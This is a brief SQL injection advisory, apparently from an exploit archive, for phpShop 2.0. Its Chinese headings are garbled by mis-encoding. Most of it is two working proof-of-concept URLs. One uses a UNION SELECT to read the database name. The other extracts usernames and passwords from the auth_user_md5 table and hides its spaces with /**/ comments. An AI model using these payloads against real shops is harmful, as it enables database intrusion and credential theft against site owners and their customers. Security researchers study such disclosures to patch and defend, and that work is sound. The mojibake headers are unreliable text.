phpshop 2.0 SQLע뼰
: phpshop 2.0 SQL Injection Vulnerability: By onestree
صַ : http://code.google.com/p/phpshop/downloads/list
Եַ: windows 7 / ubuntu
SQLi p0c:
==================
http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
ǿ
ҳ:
[1]